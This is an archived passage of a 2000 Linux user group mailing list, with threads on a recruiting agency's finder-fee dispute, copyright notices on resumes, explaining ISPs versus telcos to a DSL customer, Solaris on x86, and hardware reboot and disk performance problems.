(would you spend $20,000 in legal fees over a lost hire?) Your best defense is your friends and colleagues. Only work with those you trust, and those your friends trust. As for putting a copyright on the resume, at best you'll get an inquisitive comment from employers, at worst they'll throw out the resume because they don't understand why that sits at the bottom of the page (like "Does this mean I can't send it over to my tech lead for evaluation?") I've seen a lot of resumes/CVs, and I've never seen one copyrighted. - Dave Here's a suggestion for the future. Put a copyright notice on your resume, something like Copyright (C) 2000 John Q. Public. All rights reserved. No duplication or distribution permitted without the author's permission. That way if they do give it to someone without your permission, you can hold the flame of copyright law to their feet to get them to back off. I'm not sure whether this would work, but it may be worth a try. Any feedback? Eric From destef at destef.com Sat Dec 2 09:58:46 2000 From: destef at destef.com (Jason DeStefano) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <20001202065530.A15007@knicknack.net> References: <200012011638.KAA20074@nitz.hep.umn.edu> <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: <200006081215.HAA01898@mail.destef.com> How about "Warning: Plagurism punishable by death"? At 06:55 AM 12/2/00 -0600, you wrote: >Here's a suggestion for the future. Put a copyright notice on your >resume, something like > > Copyright (C) 2000 John Q. Public. All rights reserved. No > duplication or distribution permitted without the author's > permission. > >That way if they do give it to someone without your permission, you >can hold the flame of copyright law to their feet to get them to back >off. > >I'm not sure whether this would work, but it may be worth a try. Any >feedback? > >Eric > >On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: >> Hello LUGgers: >> >> I'm a newbie in the job search arena, and could use some advice >> on how to avoid a certain situation in the future. >> >> Say, hypothetically speaking, that you have a friend that just >> got a new job at company Foo via job-finding company Quux (rhymes >> with "sucks", as in "rat bastard fuckers die die die") Jobfinders >> Inc. >> >> This friend encourages you to apply for another position that's >> open at Foo; you do this, and in addition you ask the boys at Quux >> to see if they can locate some position for you. >> >> You find yourself fucked, because what does Quux do but send your >> resume off to Foo? Now Foo wants to hire you, but Quux says that >> Foo owes them some sort of finder's fee, even though you have a >> contact of your own at Foo, and really didn't get anything from >> Quux. Foo won't hire you because this fee is exorbitant, and >> why the hell should Quux get dime one anyhow? >> >> So how do other people manage this situation? My thought is that >> I should have made some agreement with Quux from the beginning that >> they had to have my permission to send my resume to Foo; once this >> was done, Foo was "theirs" and if they found a job there, they were >> entitled to the fee. This would leave me free to search on my own >> at Bar and Baz, Inc. >> >> Any other ways out of this? >> >> Regards, >> J >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list > From kethry at winternet.com Sat Dec 2 10:17:28 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201231212.B2530@socrates.sistina.com> Message-ID: What type of DSL service did they have? Could they have had IDSL? How did they lose their DSL in the first place? Liz On Fri, 1 Dec 2000, Ben Lutgens wrote: > On Fri, Dec 01, 2000 at 05:44:00PM -0600, Bob Tanner wrote: > >How do you explain to people the difference between a Telco and an ISP? > > > > Explain to them that the only way they can connect from thier house to you > (The Internet Service Provider) is by way of the wires that are monopolized by > qwest. > > >The people are totally newbies and very, very non-techincal. > > > >The situation I am in is a client lost their DSL service from USWest. After days > >of calling and hours on the phone with Qwest I was told that they are beyond the > >19,000 foot mark. > > > >Qwest says they should have never gotten DSL in the first place. Qwest will not, > >no matter what put DSL down that circuit. Qwest has not explaination on how they > >got DSL in the first place. > > > >Anyways, this client is very upset. They keep calling us and asking us to "fix > >the problem". > > > >I have tried (very patiently) to explain Real Time is an ISP, we provide > >Internet access. Qwest is a telco, they provide the physical connectivity. > > > >It just doesn't sink in. > > > >I have tried this analogy. Real Time is an automotive dealer, we sell cars. > >Qwest is like MNDOT, they build roads. > > > >You (the client) have bought a speedy but very safe car (linux). It comes with > >an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to > >drive on. > > > >It didn't sink in. > > > >So, how can you explain to the client that when the physical link is down, no > >matter how bad you want to fix it from them, Qwest must be involved and they > >must do the fix? > > > > > > > >-- > >Bob Tanner | Phone : (612)943-8700 > >http://www.mn-linux.org | Fax : (612)943-8500 > >Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From blutgens at sistina.com Sat Dec 2 10:18:01 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] Solaris for Intel In-Reply-To: ; from austad@marketwatch.com on Sat, Dec 02, 2000 at 07:25:53AM -0600 References: Message-ID: <20001202101801.A3580@socrates.sistina.com> On Sat, Dec 02, 2000 at 07:25:53AM -0600, Austad, Jay wrote: >Solaris runs well on Sun hardware, but not x86. Agreed. I picked up a copy while at ALS and it's awful. Since installing freebsd on my laptop, I never boot it into linux anymore. It's pretty fast and quite stable. Though the apm support is kinda bad, my kernel panics when my battery runs out. > >Jay > >> -----Original Message----- >> From: Apu [mailto:isla0005@tc.umn.edu] >> Sent: Saturday, December 02, 2000 4:48 AM >> To: tclug-list@lists.real-time.com >> Subject: [TCLUG] Solaris for Intel >> >> >> Solaris was available from Sun for intel machines couple >> months ago. Sun claims >> it's based on the same source code and very stable, also it's >> free for students >> and developers. I am wondering if any of you have used it or >> would it be wise >> to switch to solaris from my existing freeBSD 4.2 ? >> >> Apu >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001202/5c2adba4/attachment.pgp From blutgens at sistina.com Sat Dec 2 10:19:33 2000 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:12:56 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <20001202065530.A15007@knicknack.net>; from barnabas@knicknack.net on Sat, Dec 02, 2000 at 06:55:30AM -0600 References: <200012011638.KAA20074@nitz.hep.umn.edu> <20001202065530.A15007@knicknack.net> Message-ID: <20001202101933.B3580@socrates.sistina.com> On Sat, Dec 02, 2000 at 06:55:30AM -0600, Eric Stanley wrote: >Here's a suggestion for the future. Put a copyright notice on your >resume, something like > > Copyright (C) 2000 John Q. Public. All rights reserved. No > duplication or distribution permitted without the author's > permission. I'd put "express written consent on a per distribution basis" then they have to have a written letter from you saying "You may present my resume to foo and bar" > >That way if they do give it to someone without your permission, you >can hold the flame of copyright law to their feet to get them to back >off. > >I'm not sure whether this would work, but it may be worth a try. Any >feedback? > >Eric > >On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: >> Hello LUGgers: >> >> I'm a newbie in the job search arena, and could use some advice >> on how to avoid a certain situation in the future. >> >> Say, hypothetically speaking, that you have a friend that just >> got a new job at company Foo via job-finding company Quux (rhymes >> with "sucks", as in "rat bastard fuckers die die die") Jobfinders >> Inc. >> >> This friend encourages you to apply for another position that's >> open at Foo; you do this, and in addition you ask the boys at Quux >> to see if they can locate some position for you. >> >> You find yourself fucked, because what does Quux do but send your >> resume off to Foo? Now Foo wants to hire you, but Quux says that >> Foo owes them some sort of finder's fee, even though you have a >> contact of your own at Foo, and really didn't get anything from >> Quux. Foo won't hire you because this fee is exorbitant, and >> why the hell should Quux get dime one anyhow? >> >> So how do other people manage this situation? My thought is that >> I should have made some agreement with Quux from the beginning that >> they had to have my permission to send my resume to Foo; once this >> was done, Foo was "theirs" and if they found a job there, they were >> entitled to the fee. This would leave me free to search on my own >> at Bar and Baz, Inc. >> >> Any other ways out of this? >> >> Regards, >> J >> >> _______________________________________________ >> tclug-list mailing list >> tclug-list@lists.real-time.com >> https://mailman.real-time.com/mailman/listinfo/tclug-list >> >_______________________________________________ >tclug-list mailing list >tclug-list@lists.real-time.com >https://mailman.real-time.com/mailman/listinfo/tclug-list -- Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ Sistina Software Inc. work: 612.379.3951 Code Monkey Support (A.K.A. System Administrator) Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 230 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20001202/fb3bf6ce/attachment.pgp From kethry at winternet.com Sat Dec 2 10:25:04 2000 From: kethry at winternet.com (Liz Burke-Scovill) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <200006081215.HAA01898@mail.destef.com> Message-ID: It would depend on the agreement you have with Quux - my contract house calls me to ask me about a position before ever sending my resume over. Also, when I thought about looking at a different contract house, knowing that the two companies are competitors, I told the new company that there were certain firms they were NOT allowed to represent me at - knowing that those firms were very large clients of my original firm. In the end, I chose not to go with the new firm, I don't feel that they had a really good grasp of what my resume actually said I could do, and seemed not to listen to what kind of position I was looking for. So it wasn't a good match for me, even though they are a really good venue for various friends of mine. Liz On Sat, 2 Dec 2000, Jason DeStefano wrote: > How about "Warning: Plagurism punishable by death"? > > > At 06:55 AM 12/2/00 -0600, you wrote: > >Here's a suggestion for the future. Put a copyright notice on your > >resume, something like > > > > Copyright (C) 2000 John Q. Public. All rights reserved. No > > duplication or distribution permitted without the author's > > permission. > > > >That way if they do give it to someone without your permission, you > >can hold the flame of copyright law to their feet to get them to back > >off. > > > >I'm not sure whether this would work, but it may be worth a try. Any > >feedback? > > > >Eric > > > >On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: > >> Hello LUGgers: > >> > >> I'm a newbie in the job search arena, and could use some advice > >> on how to avoid a certain situation in the future. > >> > >> Say, hypothetically speaking, that you have a friend that just > >> got a new job at company Foo via job-finding company Quux (rhymes > >> with "sucks", as in "rat bastard fuckers die die die") Jobfinders > >> Inc. > >> > >> This friend encourages you to apply for another position that's > >> open at Foo; you do this, and in addition you ask the boys at Quux > >> to see if they can locate some position for you. > >> > >> You find yourself fucked, because what does Quux do but send your > >> resume off to Foo? Now Foo wants to hire you, but Quux says that > >> Foo owes them some sort of finder's fee, even though you have a > >> contact of your own at Foo, and really didn't get anything from > >> Quux. Foo won't hire you because this fee is exorbitant, and > >> why the hell should Quux get dime one anyhow? > >> > >> So how do other people manage this situation? My thought is that > >> I should have made some agreement with Quux from the beginning that > >> they had to have my permission to send my resume to Foo; once this > >> was done, Foo was "theirs" and if they found a job there, they were > >> entitled to the fee. This would leave me free to search on my own > >> at Bar and Baz, Inc. > >> > >> Any other ways out of this? > >> > >> Regards, > >> J > >> > >> _______________________________________________ > >> tclug-list mailing list > >> tclug-list@lists.real-time.com > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > -- Imagination is intelligence having fun... e-mail: kethry@winternet.com URL: http://WWW.winternet.com/~kethry/index.html From austad at marketwatch.com Sat Dec 2 13:19:14 2000 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] advice [OT] Message-ID: Speaking of headhunters/consulting firms/etc, how many people here are/were consultants, and how many liked it? I've have a consulting firm that won't leave me alone, and the money that they claim I would make is pretty impressive. I've heard bad stories about being a consultant though. I don't wanna get stuck doing work at some stuffy lawfirm for 6 months or anything like that. Jay > -----Original Message----- > From: Ben Lutgens [mailto:blutgens@sistina.com] > Sent: Saturday, December 02, 2000 10:20 AM > To: tclug-list@lists.real-time.com > Subject: Re: [TCLUG] advice [OT] > > > On Sat, Dec 02, 2000 at 06:55:30AM -0600, Eric Stanley wrote: > >Here's a suggestion for the future. Put a copyright notice on your > >resume, something like > > > > Copyright (C) 2000 John Q. Public. All rights reserved. No > > duplication or distribution permitted without > the author's > > permission. > > I'd put "express written consent on a per distribution basis" > then they have > to have a written letter from you saying "You may present my > resume to foo and > bar" > > > > >That way if they do give it to someone without your permission, you > >can hold the flame of copyright law to their feet to get them to back > >off. > > > >I'm not sure whether this would work, but it may be worth a try. Any > >feedback? > > > >Eric > > > >On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: > >> Hello LUGgers: > >> > >> I'm a newbie in the job search arena, and could use some advice > >> on how to avoid a certain situation in the future. > >> > >> Say, hypothetically speaking, that you have a friend that just > >> got a new job at company Foo via job-finding company Quux (rhymes > >> with "sucks", as in "rat bastard fuckers die die die") Jobfinders > >> Inc. > >> > >> This friend encourages you to apply for another position that's > >> open at Foo; you do this, and in addition you ask the boys at Quux > >> to see if they can locate some position for you. > >> > >> You find yourself fucked, because what does Quux do but send your > >> resume off to Foo? Now Foo wants to hire you, but Quux says that > >> Foo owes them some sort of finder's fee, even though you have a > >> contact of your own at Foo, and really didn't get anything from > >> Quux. Foo won't hire you because this fee is exorbitant, and > >> why the hell should Quux get dime one anyhow? > >> > >> So how do other people manage this situation? My thought is that > >> I should have made some agreement with Quux from the beginning that > >> they had to have my permission to send my resume to Foo; once this > >> was done, Foo was "theirs" and if they found a job there, they were > >> entitled to the fee. This would leave me free to search on my own > >> at Bar and Baz, Inc. > >> > >> Any other ways out of this? > >> > >> Regards, > >> J > >> > >> _______________________________________________ > >> tclug-list mailing list > >> tclug-list@lists.real-time.com > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > -- > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > Sistina Software Inc. work: 612.379.3951 > Code Monkey Support (A.K.A. System Administrator) > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > From jack at jacku.com Sat Dec 2 15:18:45 2000 From: jack at jacku.com (Jack Ungerleider) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] advice [OT] In-Reply-To: References: Message-ID: <00120215184500.01352@geezer> Does on and off for 17 years count. ;-) I've worked in a variety of ways. My first paying computer job was as a freelance programmer for a trade show/museum exhibit shop. I then spent some time on "staff" there. After that I spent 8 years with a consulting company after moving to Mpls. Most of that was spent at one client site. I've done some independent work and now work for a consulting group here in town. A lot of it depends on the client base, the type of work, and if the people who run the place. One thing is always true about switching jobs, it always looks better than what you have right now as they are courting you but once you get there its much of the same old thing. Do you know anyone who has a) worked for this firm, or b) worked with them? (used their services.) If seek out their impressions. As for liking or not liking it, I like it. While some of my collegues are on long term projects I tend to be a "fix-it" man. I come in for short periods either as staff-augmentation for the client or as the added "technical" resource if we have a project team in place. It suits my personality and style just fine. If you've got specific questions feel free to contact me off list. Jack Ungerleider On Saturday 02 December 2000 13:19, you wrote: > Speaking of headhunters/consulting firms/etc, how many people here are/were > consultants, and how many liked it? > > I've have a consulting firm that won't leave me alone, and the money that > they claim I would make is pretty impressive. I've heard bad stories about > being a consultant though. I don't wanna get stuck doing work at some > stuffy lawfirm for 6 months or anything like that. > > Jay > From thouck at thouck.com Sat Dec 2 15:24:23 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Evil spontaneously rebooting intel MB's In-Reply-To: <200006071942.OAA01050@mail.destef.com> Message-ID: BOOM? Been watching too much Knight Rider. :) On Fri, 1 Dec 2000, Jason DeStefano wrote: > It could. My experience has been that the boot-up ram BIOS test > rarely ever finds RAM problems even when they exist. I've experienced > your problem before due to bad RAM. The system may boot and the > bad portion of RAM may not be used at first, then as files are accessed > and cached in RAM you hit the bad chip and BOOM!!! > > Let me know what you find out. > > Jason > > At 03:28 PM 12/1/00 -0600, you wrote: > >> Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > >> from one board to the other? > > > >Yes, I am... The machine I took the RAM out of wouldn't even boot, but I > >assumed it was probably the board. Would a reboot during POST still point > >to bad RAM? I'll try replacing that anyway. > > > >Jay > > > >> -----Original Message----- > >> From: destef@mail.destef.com [mailto:destef@mail.destef.com] > >> Sent: Wednesday, June 07, 2000 12:16 PM > >> To: 'tclug-list@lists.real-time.com' > >> Subject: Re: [TCLUG] Evil spontaneously rebooting intel MB's > >> > >> > >> Spontaneous reboots often point to bad RAM. Are you borrowing DIMMS > >> from one board to the other? Just a shot in the dark idea. > >> > >> Jason > >> > >> > >> On Fri, 1 Dec 2000, Austad, Jay wrote: > >> > >> > So I'm building this machine which is supposed to run > >> without a video card. > >> > I have 2 intel SE440BX2 PII400 MB's and chips. I boot the > >> machine without > >> > the video card in it, it boots fine, I can log into it over > >> the network, and > >> > then after being up for a few minutes it reboots. > >> Sometimes it will reboot > >> > even before the POST is done, so I know it's not the OS > >> that's causing it. > >> > Both boards do it, so I'm fairly sure it's not a problem > >> with the hardware. > >> > > >> > > >> > Does anyone know anything about this? I'm going to upgrade > >> the BIOS and see > >> > if that helps. I know the board will work without a video > >> card, as many > >> > companies who make x86 based network appliances use this > >> exact same board. > >> > > >> > Jay > >> > _______________________________________________ > >> > tclug-list mailing list > >> > tclug-list@lists.real-time.com > >> > https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > > >> > >> _______________________________________________ > >> tclug-list mailing list > >> tclug-list@lists.real-time.com > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > >> > >_______________________________________________ > >tclug-list mailing list > >tclug-list@lists.real-time.com > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From jethro at freakzilla.com Sat Dec 2 15:25:15 2000 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Bad Performance Revisited Message-ID: Hi, Well, I've narrowed it down to bad performance only occuring during HDD activity. It's IDE, it's supposed to be ATA/66, but when you accesss the drive intensly (untar, mkisofs) the load avarage goes WAY up and all other apps are affected. Playing mpeg/avi files off the thing is near impossible. The video capture works really badly as well... no idea what do to about THAT one... -Yaron -- From thouck at thouck.com Sat Dec 2 15:31:00 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> Message-ID: Hi Bob. I had the same problem when I worked for a local telephone company who resold US West lines. For service, we would "relay" the service call to US West (as is expected, we want our customers to only deal with us). US West, as usual, was weeks behind in service. We told the customer it would be a few weeks and they threatened to cancel us and go back to US West because US West always fixed stuff faster. Heheh. Most of those people will understand (from earlier days of analog modems) that even if they pay their AOL bill, they can't use it unless they pay their phone bill for obvious reasons. One is dependent, the other is independent. You are the AOL in this analogy, and Qwest is the phone company that cut off their communications line. Sorry for comparing Real-Time to AOL. :) Timothy On Fri, 1 Dec 2000, Bob Tanner wrote: > Been running into this lately, so I thought I would ask the collective knowledge > of the LUG this question: > > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. > > The situation I am in is a client lost their DSL service from USWest. After days > of calling and hours on the phone with Qwest I was told that they are beyond the > 19,000 foot mark. > > Qwest says they should have never gotten DSL in the first place. Qwest will not, > no matter what put DSL down that circuit. Qwest has not explaination on how they > got DSL in the first place. > > Anyways, this client is very upset. They keep calling us and asking us to "fix > the problem". > > I have tried (very patiently) to explain Real Time is an ISP, we provide > Internet access. Qwest is a telco, they provide the physical connectivity. > > It just doesn't sink in. > > I have tried this analogy. Real Time is an automotive dealer, we sell cars. > Qwest is like MNDOT, they build roads. > > You (the client) have bought a speedy but very safe car (linux). It comes with > an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to > drive on. > > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, no > matter how bad you want to fix it from them, Qwest must be involved and they > must do the fix? > > > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:31:00 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: <20001201174400.H12133@real-time.com> Message-ID: Hi Bob. I had the same problem when I worked for a local telephone company who resold US West lines. For service, we would "relay" the service call to US West (as is expected, we want our customers to only deal with us). US West, as usual, was weeks behind in service. We told the customer it would be a few weeks and they threatened to cancel us and go back to US West because US West always fixed stuff faster. Heheh. Most of those people will understand (from earlier days of analog modems) that even if they pay their AOL bill, they can't use it unless they pay their phone bill for obvious reasons. One is dependent, the other is independent. You are the AOL in this analogy, and Qwest is the phone company that cut off their communications line. Sorry for comparing Real-Time to AOL. :) Timothy On Fri, 1 Dec 2000, Bob Tanner wrote: > Been running into this lately, so I thought I would ask the collective knowledge > of the LUG this question: > > How do you explain to people the difference between a Telco and an ISP? > > The people are totally newbies and very, very non-techincal. > > The situation I am in is a client lost their DSL service from USWest. After days > of calling and hours on the phone with Qwest I was told that they are beyond the > 19,000 foot mark. > > Qwest says they should have never gotten DSL in the first place. Qwest will not, > no matter what put DSL down that circuit. Qwest has not explaination on how they > got DSL in the first place. > > Anyways, this client is very upset. They keep calling us and asking us to "fix > the problem". > > I have tried (very patiently) to explain Real Time is an ISP, we provide > Internet access. Qwest is a telco, they provide the physical connectivity. > > It just doesn't sink in. > > I have tried this analogy. Real Time is an automotive dealer, we sell cars. > Qwest is like MNDOT, they build roads. > > You (the client) have bought a speedy but very safe car (linux). It comes with > an airbag (ipchains) for safety, etc.. You got the car, but there is no roads to > drive on. > > It didn't sink in. > > So, how can you explain to the client that when the physical link is down, no > matter how bad you want to fix it from them, Qwest must be involved and they > must do the fix? > > > > -- > Bob Tanner | Phone : (612)943-8700 > http://www.mn-linux.org | Fax : (612)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:32:48 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Re: [TCLUG:23883] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: Message-ID: Hey why did we both use AOL in our analogies? :) For the record, I have never subscribed to AOL. I started with Delphi. Any Delphi refugees in the house? Timothy > Just use the analogy of a phone line and dialup internet access. You're > AOL (or something), Qwest is the phone company. > > If they still don't get it, give THEM the Qwest Tech support phone # and > have them try to straighten it out (heh). See how they like it. IT's > probably not good customer relations, but it's not your fault they can't > get a simple idea. > > Tony > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:32:48 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] Re: [TCLUG:23883] Difference between ISP and Telco (Slightly offtopic) In-Reply-To: Message-ID: Hey why did we both use AOL in our analogies? :) For the record, I have never subscribed to AOL. I started with Delphi. Any Delphi refugees in the house? Timothy > Just use the analogy of a phone line and dialup internet access. You're > AOL (or something), Qwest is the phone company. > > If they still don't get it, give THEM the Qwest Tech support phone # and > have them try to straighten it out (heh). See how they like it. IT's > probably not good customer relations, but it's not your fault they can't > get a simple idea. > > Tony > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:37:37 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] advice [OT] In-Reply-To: <200012011638.KAA20074@nitz.hep.umn.edu> Message-ID: Hi John. Is Foo afraid to hire you because of Quux backlash (legal, etc.)? If not, call them up and insist they hire you directly. If you don't have a contract with Quux, they are just blowing smoke. Even if you do, it probably doesn't include your circumstances of having an inside contact. Sorry to hear about this. I hope it works out. Timothy On Fri, 1 Dec 2000, John J. Trammell wrote: > Hello LUGgers: > > I'm a newbie in the job search arena, and could use some advice > on how to avoid a certain situation in the future. > > Say, hypothetically speaking, that you have a friend that just > got a new job at company Foo via job-finding company Quux (rhymes > with "sucks", as in "rat bastard fuckers die die die") Jobfinders > Inc. > > This friend encourages you to apply for another position that's > open at Foo; you do this, and in addition you ask the boys at Quux > to see if they can locate some position for you. > > You find yourself fucked, because what does Quux do but send your > resume off to Foo? Now Foo wants to hire you, but Quux says that > Foo owes them some sort of finder's fee, even though you have a > contact of your own at Foo, and really didn't get anything from > Quux. Foo won't hire you because this fee is exorbitant, and > why the hell should Quux get dime one anyhow? > > So how do other people manage this situation? My thought is that > I should have made some agreement with Quux from the beginning that > they had to have my permission to send my resume to Foo; once this > was done, Foo was "theirs" and if they found a job there, they were > entitled to the fee. This would leave me free to search on my own > at Bar and Baz, Inc. > > Any other ways out of this? > > Regards, > J > > _______________________________________________ > tclug-list mailing list > tclug-list@lists.real-time.com > https://mailman.real-time.com/mailman/listinfo/tclug-list > --------------------------------------------------------------------- Timothy Houck thouck@thouck.com www.thouck.com From thouck at thouck.com Sat Dec 2 15:48:38 2000 From: thouck at thouck.com (Timothy Houck) Date: Mon Jan 17 13:12:57 2005 Subject: [TCLUG] advice [OT] In-Reply-To: Message-ID: Since I moved to Minneapolis in June, I've been a contractor. Well, except for a two week stint at NWA from which I resigned. Being a contractor is nice, and every place I've contracted has offered me a job. So far I haven't taken/stayed at one... I'm kinda picky that way. Timothy On Sat, 2 Dec 2000, Austad, Jay wrote: > Speaking of headhunters/consulting firms/etc, how many people here are/were > consultants, and how many liked it? > > I've have a consulting firm that won't leave me alone, and the money that > they claim I would make is pretty impressive. I've heard bad stories about > being a consultant though. I don't wanna get stuck doing work at some > stuffy lawfirm for 6 months or anything like that. > > Jay > > > -----Original Message----- > > From: Ben Lutgens [mailto:blutgens@sistina.com] > > Sent: Saturday, December 02, 2000 10:20 AM > > To: tclug-list@lists.real-time.com > > Subject: Re: [TCLUG] advice [OT] > > > > > > On Sat, Dec 02, 2000 at 06:55:30AM -0600, Eric Stanley wrote: > > >Here's a suggestion for the future. Put a copyright notice on your > > >resume, something like > > > > > > Copyright (C) 2000 John Q. Public. All rights reserved. No > > > duplication or distribution permitted without > > the author's > > > permission. > > > > I'd put "express written consent on a per distribution basis" > > then they have > > to have a written letter from you saying "You may present my > > resume to foo and > > bar" > > > > > > > >That way if they do give it to someone without your permission, you > > >can hold the flame of copyright law to their feet to get them to back > > >off. > > > > > >I'm not sure whether this would work, but it may be worth a try. Any > > >feedback? > > > > > >Eric > > > > > >On Fri, Dec 01, 2000 at 10:38:55AM -0600, John J. Trammell wrote: > > >> Hello LUGgers: > > >> > > >> I'm a newbie in the job search arena, and could use some advice > > >> on how to avoid a certain situation in the future. > > >> > > >> Say, hypothetically speaking, that you have a friend that just > > >> got a new job at company Foo via job-finding company Quux (rhymes > > >> with "sucks", as in "rat bastard fuckers die die die") Jobfinders > > >> Inc. > > >> > > >> This friend encourages you to apply for another position that's > > >> open at Foo; you do this, and in addition you ask the boys at Quux > > >> to see if they can locate some position for you. > > >> > > >> You find yourself fucked, because what does Quux do but send your > > >> resume off to Foo? Now Foo wants to hire you, but Quux says that > > >> Foo owes them some sort of finder's fee, even though you have a > > >> contact of your own at Foo, and really didn't get anything from > > >> Quux. Foo won't hire you because this fee is exorbitant, and > > >> why the hell should Quux get dime one anyhow? > > >> > > >> So how do other people manage this situation? My thought is that > > >> I should have made some agreement with Quux from the beginning that > > >> they had to have my permission to send my resume to Foo; once this > > >> was done, Foo was "theirs" and if they found a job there, they were > > >> entitled to the fee. This would leave me free to search on my own > > >> at Bar and Baz, Inc. > > >> > > >> Any other ways out of this? > > >> > > >> Regards, > > >> J > > >> > > >> _______________________________________________ > > >> tclug-list mailing list > > >> tclug-list@lists.real-time.com > > >> https://mailman.real-time.com/mailman/listinfo/tclug-list > > >> > > >_______________________________________________ > > >tclug-list mailing list > > >tclug-list@lists.real-time.com > > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > -- > > Ben Lutgens cell: 612.670.4789 http://www.sistina.com/ > > Sistina Software Inc. work: 612.379.3951 > > Code Monkey Support (A.K.A. System Administrator) > > Key fingerprint = A69A 118D 710B 8EB0 DC3B D912 2F19 311A 02DD 1908 > > > 